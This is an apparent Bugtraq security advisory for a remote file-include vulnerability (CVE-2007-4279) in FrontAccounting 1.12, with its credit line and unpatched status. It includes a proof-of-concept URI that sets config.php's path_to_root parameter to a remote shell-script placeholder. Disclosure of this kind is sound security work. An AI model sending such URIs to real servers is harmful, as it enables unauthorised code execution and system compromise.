FrontAccounting Config.PHP Remote File Include Vulnerability

Bugtraq ID:	25229
Class:	Input Validation Error
CVE:	CVE-2007-4279
Remote:	Yes
Local:	No
Published:	Aug 07 2007 12:00AM
Updated:	May 07 2015 05:36PM
Credit:	K3ZZAP66345 is credited with the discovery of this vulnerability.
Vulnerable:	FrontAccounting FrontAccounting 1.12
Not Vulnerable:

FrontAccounting Config.PHP Remote File Include Vulnerability

FrontAccounting is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

FrontAccounting 1.12 is reported vulnerable; other versions may also be affected.

FrontAccounting Config.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/path/config.php?path_to_root=[[Sh3LLScript]]

FrontAccounting Config.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

FrontAccounting Config.PHP Remote File Include Vulnerability

References:

• FrontAccounting Homepage (FrontAccounting)